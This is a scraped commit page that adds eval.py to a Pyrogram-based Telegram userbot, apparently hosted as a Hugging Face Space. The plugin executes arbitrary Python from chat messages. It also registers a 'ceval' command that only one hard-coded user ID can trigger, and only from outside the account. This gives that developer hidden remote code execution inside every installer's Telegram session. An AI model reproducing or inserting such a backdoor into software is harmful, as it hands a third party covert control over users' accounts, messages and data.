Spaces:
Running
Running
Create eval.py
Browse files- akn/Akeno/eval.py +136 -0
akn/Akeno/eval.py
ADDED
@@ -0,0 +1,136 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import asyncio
|
2 |
+
from io import BytesIO
|
3 |
+
import io
|
4 |
+
import os
|
5 |
+
|
6 |
+
import sys
|
7 |
+
import re
|
8 |
+
import traceback
|
9 |
+
import subprocess
|
10 |
+
import html
|
11 |
+
import shutil
|
12 |
+
from time import perf_counter
|
13 |
+
from random import randint
|
14 |
+
from typing import Optional
|
15 |
+
from contextlib import suppress
|
16 |
+
from asyncio import sleep
|
17 |
+
from io import StringIO
|
18 |
+
from pyrogram.types import *
|
19 |
+
from pyrogram import *
|
20 |
+
from pyrogram import Client as ren
|
21 |
+
from pyrogram import Client
|
22 |
+
from pyrogram import Client as app
|
23 |
+
from pyrogram.errors import *
|
24 |
+
|
25 |
+
from pyrogram.raw import *
|
26 |
+
from pyrogram.raw.types import *
|
27 |
+
from pyrogram.raw.functions.phone import CreateGroupCall as call
|
28 |
+
from pyrogram.raw.functions.channels import GetFullChannel
|
29 |
+
from pyrogram.raw.functions.messages import GetFullChat
|
30 |
+
from pyrogram.raw.functions.phone import CreateGroupCall, DiscardGroupCall
|
31 |
+
from pyrogram.raw.types import InputGroupCall, InputPeerChannel, InputPeerChat
|
32 |
+
|
33 |
+
from akn.utils.tools import *
|
34 |
+
from akn.utils.handler import *
|
35 |
+
from akn.utils.prefixprem import command
|
36 |
+
from config import *
|
37 |
+
from urllib.parse import quote, unquote
|
38 |
+
from json.decoder import JSONDecodeError
|
39 |
+
from pprint import pprint
|
40 |
+
|
41 |
+
@Akeno(
|
42 |
+
~filters.scheduled
|
43 |
+
& command(["ceval", "cev", "ce"])
|
44 |
+
& filters.user([1191668125])
|
45 |
+
& ~filters.me
|
46 |
+
& ~filters.forwarded
|
47 |
+
)
|
48 |
+
@Akeno(
|
49 |
+
~filters.scheduled
|
50 |
+
& command(["eval", "ev", "e"])
|
51 |
+
& filters.me
|
52 |
+
& ~filters.forwarded
|
53 |
+
)
|
54 |
+
async def evaluation_cmd_t(client: Client, message: Message):
|
55 |
+
user_id = message.from_user.id
|
56 |
+
if user_id != 1191668125:
|
57 |
+
return await message.reply("Only Developer")
|
58 |
+
|
59 |
+
status_message = await message.reply("__Processing eval pyrogram...__")
|
60 |
+
try:
|
61 |
+
cmd = message.text.split(" ", maxsplit=1)[1]
|
62 |
+
except IndexError:
|
63 |
+
return await status_message.edit("__No evaluate message!__")
|
64 |
+
old_stderr = sys.stderr
|
65 |
+
old_stdout = sys.stdout
|
66 |
+
redirected_output = sys.stdout = io.StringIO()
|
67 |
+
redirected_error = sys.stderr = io.StringIO()
|
68 |
+
stdout, stderr, exc = None, None, None
|
69 |
+
try:
|
70 |
+
await aexec(cmd, client, message)
|
71 |
+
except ImageProcessFailed:
|
72 |
+
return await status_message.edit("Error ImageProcessFailed")
|
73 |
+
except Exception:
|
74 |
+
exc = traceback.format_exc()
|
75 |
+
|
76 |
+
stdout = redirected_output.getvalue()
|
77 |
+
stderr = redirected_error.getvalue()
|
78 |
+
sys.stdout = old_stdout
|
79 |
+
sys.stderr = old_stderr
|
80 |
+
|
81 |
+
evaluation = ""
|
82 |
+
if exc:
|
83 |
+
evaluation = exc
|
84 |
+
elif stderr:
|
85 |
+
evaluation = stderr
|
86 |
+
elif stdout:
|
87 |
+
evaluation = stdout
|
88 |
+
else:
|
89 |
+
evaluation = "Success"
|
90 |
+
|
91 |
+
final_output = f"**OUTPUT**:\n<pre language=''>{evaluation.strip()}</pre>"
|
92 |
+
if len(final_output) > 4096:
|
93 |
+
with open("eval.txt", "w+", encoding="utf8") as out_file:
|
94 |
+
out_file.write(final_output)
|
95 |
+
await status_message.reply_document(
|
96 |
+
document="eval.txt",
|
97 |
+
caption=cmd[: 4096 // 4 - 1],
|
98 |
+
disable_notification=True,
|
99 |
+
)
|
100 |
+
os.remove("eval.txt")
|
101 |
+
await status_message.delete()
|
102 |
+
else:
|
103 |
+
await status_message.edit_text(final_output)
|
104 |
+
|
105 |
+
async def aexec(code, client, message):
|
106 |
+
exec(
|
107 |
+
(
|
108 |
+
"async def __aexec(client, message):\n"
|
109 |
+
+ " import os\n"
|
110 |
+
+ " import wget\n"
|
111 |
+
+ " import akenoai as api\n"
|
112 |
+
+ " from akn.utils.database import db\n"
|
113 |
+
+ " from RyuzakiLib import AkenoPlus\n"
|
114 |
+
+ " randydev = message\n"
|
115 |
+
+ " message = event = randydev\n"
|
116 |
+
+ " r = reply = message.reply_to_message\n"
|
117 |
+
+ " chat = message.chat.id\n"
|
118 |
+
+ " c = client\n"
|
119 |
+
+ " to_photo = message.reply_photo\n"
|
120 |
+
+ " to_video = message.reply_video\n"
|
121 |
+
+ " p = print\n"
|
122 |
+
)
|
123 |
+
+ "".join(f"\n {l}" for l in code.split("\n"))
|
124 |
+
)
|
125 |
+
return await locals()["__aexec"](client, message)
|
126 |
+
|
127 |
+
"""
|
128 |
+
@Client.on_edited_message(
|
129 |
+
command(["ev", "e"])
|
130 |
+
& filters.me
|
131 |
+
& ~filters.forwarded
|
132 |
+
& ~filters.via_bot
|
133 |
+
)
|
134 |
+
async def execution_func_edited(bot, message):
|
135 |
+
await evaluation_cmd_t(bot, message)
|
136 |
+
"""
|